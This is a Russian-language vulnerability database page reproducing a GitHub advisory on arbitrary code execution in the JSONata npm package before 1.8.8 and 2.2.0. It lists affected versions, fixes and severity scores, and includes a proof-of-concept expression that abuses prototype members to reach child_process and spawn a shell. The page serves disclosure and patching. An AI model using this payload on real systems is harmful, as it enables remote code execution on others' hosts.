Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-8gq3-vp5j-2grp

Опубликовано: 21 авг. 2026
Источник: github
Github: Прошло ревью
CVSS4: 9.3

Описание

JSONata: Arbitrary Code Execution via crafted JSONata expressions

Impact

Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705

This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.

PoC

import jsonata from "jsonata"; const expression = jsonata(` ( __lookupSetter__('__proto__')(constructor); __defineGetter__('l', constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) `); await expression.evaluate({});

Пакеты

Наименование

jsonata

npm
Затронутые версииВерсия исправления

<= 1.8.7

1.8.8

Наименование

jsonata

npm
Затронутые версииВерсия исправления

>= 2.0.0, < 2.2.0

2.2.0

EPSS

Процентиль: 43%
0.00519
Низкий

9.3 Critical

CVSS4

Дефекты

CWE-94

Связанные уязвимости

nvd
около 1 месяца назад

JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.0, the src/functions.js lookup function lacked an Object.prototype.hasOwnProperty check and allowed crafted expressions to access inherited prototype members. An attacker able to supply an expression could use inherited prototype setters and getters, constructor access, valueOf, and process.getBuiltinModule to reach the child_process module and execute arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.0.

CVSS3: 9.8
fstec
2 месяца назад

Уязвимость функции lookup() модуля child_process программного средства преобразования json-данных JSONata, позволяющая нарушителю выполнить произвольный код

EPSS

Процентиль: 43%
0.00519
Низкий

9.3 Critical

CVSS4

Дефекты

CWE-94